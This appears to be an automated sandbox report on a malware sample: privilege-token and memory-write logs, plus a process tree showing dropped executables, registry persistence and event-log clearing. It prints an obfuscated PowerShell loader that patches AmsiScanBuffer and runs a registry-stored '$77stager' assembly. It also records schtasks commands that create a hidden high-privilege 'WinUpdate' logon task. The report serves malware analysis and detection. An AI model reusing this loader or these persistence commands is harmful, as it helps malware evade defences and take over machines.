Token: SeIncreaseQuotaPrivilege	2268	svchost.exe
Token: SeSecurityPrivilege	2268	svchost.exe
Token: SeTakeOwnershipPrivilege	2268	svchost.exe
Token: SeLoadDriverPrivilege	2268	svchost.exe
Token: SeSystemtimePrivilege	2268	svchost.exe
Token: SeBackupPrivilege	2268	svchost.exe
Token: SeRestorePrivilege	2268	svchost.exe
Token: SeShutdownPrivilege	2268	svchost.exe
Token: SeSystemEnvironmentPrivilege	2268	svchost.exe
Token: SeUndockPrivilege	2268	svchost.exe
Token: SeManageVolumePrivilege	2268	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2268	svchost.exe
Token: SeIncreaseQuotaPrivilege	2268	svchost.exe
Token: SeSecurityPrivilege	2268	svchost.exe
Token: SeTakeOwnershipPrivilege	2268	svchost.exe
Token: SeLoadDriverPrivilege	2268	svchost.exe
Token: SeSystemtimePrivilege	2268	svchost.exe
Token: SeBackupPrivilege	2268	svchost.exe
Token: SeRestorePrivilege	2268	svchost.exe
Token: SeShutdownPrivilege	2268	svchost.exe
Token: SeSystemEnvironmentPrivilege	2268	svchost.exe
Token: SeUndockPrivilege	2268	svchost.exe
Token: SeManageVolumePrivilege	2268	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2268	svchost.exe
Token: SeIncreaseQuotaPrivilege	2268	svchost.exe
Token: SeSecurityPrivilege	2268	svchost.exe
Token: SeTakeOwnershipPrivilege	2268	svchost.exe
Token: SeLoadDriverPrivilege	2268	svchost.exe
Token: SeSystemtimePrivilege	2268	svchost.exe
Token: SeBackupPrivilege	2268	svchost.exe
Token: SeRestorePrivilege	2268	svchost.exe
Token: SeShutdownPrivilege	2268	svchost.exe
Token: SeSystemEnvironmentPrivilege	2268	svchost.exe
Token: SeUndockPrivilege	2268	svchost.exe
Token: SeManageVolumePrivilege	2268	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2268	svchost.exe
Token: SeIncreaseQuotaPrivilege	2268	svchost.exe
Token: SeSecurityPrivilege	2268	svchost.exe
Token: SeTakeOwnershipPrivilege	2268	svchost.exe
Token: SeLoadDriverPrivilege	2268	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3172	$77pop2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 3672	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	86
PID 1648 wrote to memory of 3672	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	86
PID 1648 wrote to memory of 3672	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	86
PID 3672 wrote to memory of 2844	3672	cmd.exe	88
PID 3672 wrote to memory of 2844	3672	cmd.exe	88
PID 3672 wrote to memory of 2844	3672	cmd.exe	88
PID 1648 wrote to memory of 1952	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	89
PID 1648 wrote to memory of 1952	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	89
PID 1648 wrote to memory of 1952	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	89
PID 1648 wrote to memory of 1992	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	90
PID 1648 wrote to memory of 1992	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	90
PID 1648 wrote to memory of 1992	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	90
PID 1648 wrote to memory of 1992	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	90
PID 1648 wrote to memory of 1992	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	90
PID 1648 wrote to memory of 1992	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	90
PID 1648 wrote to memory of 1992	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	90
PID 1648 wrote to memory of 1992	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	90
PID 1648 wrote to memory of 628	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	91
PID 1648 wrote to memory of 628	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	91
PID 1648 wrote to memory of 628	1648	cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe	91
PID 628 wrote to memory of 4940	628	cmd.exe	93
PID 628 wrote to memory of 4940	628	cmd.exe	93
PID 628 wrote to memory of 4940	628	cmd.exe	93
PID 1952 wrote to memory of 3716	1952	adns.exe	94
PID 1952 wrote to memory of 3716	1952	adns.exe	94
PID 1952 wrote to memory of 3716	1952	adns.exe	94
PID 3716 wrote to memory of 4276	3716	cmd.exe	96
PID 3716 wrote to memory of 4276	3716	cmd.exe	96
PID 3716 wrote to memory of 4276	3716	cmd.exe	96
PID 1952 wrote to memory of 2304	1952	adns.exe	98
PID 1952 wrote to memory of 2304	1952	adns.exe	98
PID 1952 wrote to memory of 2304	1952	adns.exe	98
PID 1952 wrote to memory of 2304	1952	adns.exe	98
PID 1952 wrote to memory of 2304	1952	adns.exe	98
PID 1952 wrote to memory of 2304	1952	adns.exe	98
PID 1952 wrote to memory of 2304	1952	adns.exe	98
PID 1952 wrote to memory of 2304	1952	adns.exe	98
PID 1952 wrote to memory of 2260	1952	adns.exe	99
PID 1952 wrote to memory of 2260	1952	adns.exe	99
PID 1952 wrote to memory of 2260	1952	adns.exe	99
PID 2260 wrote to memory of 4884	2260	cmd.exe	101
PID 2260 wrote to memory of 4884	2260	cmd.exe	101
PID 2260 wrote to memory of 4884	2260	cmd.exe	101
PID 1992 wrote to memory of 4100	1992	InstallUtil.exe	102
PID 1992 wrote to memory of 4100	1992	InstallUtil.exe	102
PID 1992 wrote to memory of 4100	1992	InstallUtil.exe	102
PID 4100 wrote to memory of 1876	4100	cmd.exe	104
PID 4100 wrote to memory of 1876	4100	cmd.exe	104
PID 4100 wrote to memory of 1876	4100	cmd.exe	104
PID 1876 wrote to memory of 1716	1876	powershell.exe	105
PID 1876 wrote to memory of 1716	1876	powershell.exe	105
PID 1876 wrote to memory of 1716	1876	powershell.exe	105
PID 1716 wrote to memory of 4612	1716	eevpjm.exe	106
PID 1716 wrote to memory of 4612	1716	eevpjm.exe	106
PID 1716 wrote to memory of 4612	1716	eevpjm.exe	106
PID 4612 wrote to memory of 2056	4612	eevpjm.exe	107
PID 4612 wrote to memory of 2056	4612	eevpjm.exe	107
PID 4612 wrote to memory of 2056	4612	eevpjm.exe	107
PID 4612 wrote to memory of 3532	4612	eevpjm.exe	108
PID 4612 wrote to memory of 3532	4612	eevpjm.exe	108
PID 4612 wrote to memory of 3532	4612	eevpjm.exe	108
PID 3532 wrote to memory of 2700	3532	svchost.com	109
PID 3532 wrote to memory of 2700	3532	svchost.com	109
PID 3532 wrote to memory of 2700	3532	svchost.com	109

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1016
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{65e1be03-072c-4fbe-b9f1-49d0d0ea0bd6}
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:228

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1092
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:tsQjdJFdoGtq{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XWXrYGvdtbcOGW,[Parameter(Position=1)][Type]$wPwvzfMcRk)$qEMmsjTZsNz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+'e'+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+'e'+'mo'+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+'yp'+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](80)+'u'+'b'+''+'l'+''+[Char](105)+'c,'+[Char](83)+''+'e'+''+[Char](97)+'led,'+'A'+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+','+'A'+''+'u'+''+'t'+'o'+'C'+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$qEMmsjTZsNz.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+'H'+''+[Char](105)+''+'d'+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+','+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$XWXrYGvdtbcOGW).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+'t'+'i'+[Char](109)+'e'+','+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$qEMmsjTZsNz.DefineMethod(''+[Char](73)+''+'n'+'v'+[Char](111)+''+[Char](107)+''+'e'+'',''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+'id'+'e'+'ByS'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+'S'+''+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+'a'+'l',$wPwvzfMcRk,$XWXrYGvdtbcOGW).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+'i'+'me,M'+'a'+''+'n'+'a'+[Char](103)+'e'+[Char](100)+'');Write-Output $qEMmsjTZsNz.CreateType();}$wEdbvJoFwbicu=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sys'+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+'d'+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+'s'+''+[Char](97)+'f'+'e'+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+'v'+'e'+'Me'+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$sFbfwctWSZWDEU=$wEdbvJoFwbicu.GetMethod(''+[Char](71)+'e'+[Char](116)+'P'+'r'+'oc'+[Char](65)+''+'d'+''+'d'+''+'r'+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+'Sta'+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$nQqSkeQQaCdBftuFSmR=tsQjdJFdoGtq @([String])([IntPtr]);$GHXJuRWOXkUqBebgUPAEsZ=tsQjdJFdoGtq @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$GinJbGLLJQy=$wEdbvJoFwbicu.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+'a'+''+'n'+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')));$UsFlupRKsppLPb=$sFbfwctWSZWDEU.Invoke($Null,@([Object]$GinJbGLLJQy,[Object]('L'+[Char](111)+''+'a'+''+'d'+''+[Char](76)+'ib'+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$TjHAVdDugHdvzDTJn=$sFbfwctWSZWDEU.Invoke($Null,@([Object]$GinJbGLLJQy,[Object]('Vi'+[Char](114)+'t'+[Char](117)+''+[Char](97)+'l'+[Char](80)+''+'r'+'ote'+[Char](99)+''+[Char](116)+'')));$tCesFTC=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UsFlupRKsppLPb,$nQqSkeQQaCdBftuFSmR).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$yFLLepdKPVSCNudSN=$sFbfwctWSZWDEU.Invoke($Null,@([Object]$tCesFTC,[Object](''+'A'+''+'m'+'s'+[Char](105)+''+[Char](83)+'c'+'a'+'n'+[Char](66)+''+[Char](117)+'ff'+[Char](101)+''+'r'+'')));$fyhSLlssKK=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TjHAVdDugHdvzDTJn,$GHXJuRWOXkUqBebgUPAEsZ).Invoke($yFLLepdKPVSCNudSN,[uint32]8,4,[ref]$fyhSLlssKK);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$yFLLepdKPVSCNudSN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TjHAVdDugHdvzDTJn,$GHXJuRWOXkUqBebgUPAEsZ).Invoke($yFLLepdKPVSCNudSN,[uint32]8,0x20,[ref]$fyhSLlssKK);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue('$7'+'7'+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1204

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1332
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1936

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1960

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1444

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2656

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2724

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3380

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3416
- C:\Users\Admin\AppData\Local\Temp\cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe
  "C:\Users\Admin\AppData\Local\Temp\cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7.exe"
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ipconfig /release
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3672
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /release
      4⤵
      System Location Discovery: System Language Discovery
      Gathers network information
      PID:2844
- - C:\Users\Admin\AppData\Local\Temp\adns.exe
    "C:\Users\Admin\AppData\Local\Temp\adns.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1952
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ipconfig /release
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3716
    - - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /release
        5⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:4276
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2304
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ipconfig /renew
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2260
    - - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /renew
        5⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:4884
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1992
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\eevpjm.exe"' & exit
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4100
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\eevpjm.exe"'
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1876
      - C:\Users\Admin\AppData\Local\Temp\eevpjm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\eevpjm.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Modifies system executable filetype association
        Drops file in Program Files directory
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:1716
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\eevpjm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3582-490\eevpjm.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:4612
        
        C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2056
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\$77SVC~1.EXE"
        8⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3532
        
        C:\Users\Admin\AppData\Local\Temp\$77SVC~1.EXE
        
        C:\Users\Admin\AppData\Local\Temp\$77SVC~1.EXE
        9⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2700
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        10⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4092
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:4348
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"'
        12⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1596
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4C08.tmp.bat""
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:5032
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        11⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:5092
        
        C:\Users\Admin\AppData\Roaming\WinUpdate.exe
        
        "C:\Users\Admin\AppData\Roaming\WinUpdate.exe"
        11⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:5076
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\WINUPD~1.EXE"
        12⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2392
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\WINUPD~1.EXE
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\WINUPD~1.EXE
        13⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:668
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        14⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3404
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        15⤵
        System Location Discovery: System Language Discovery
        
        PID:220
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"'
        16⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:456
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7589.tmp.bat""
        14⤵
        System Location Discovery: System Language Discovery
        
        PID:3668
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        15⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3752
        
        C:\Users\Admin\AppData\Roaming\WinUpdate.exe
        
        "C:\Users\Admin\AppData\Roaming\WinUpdate.exe"
        15⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4292
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\owmipd.exe"' & exit
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:3792
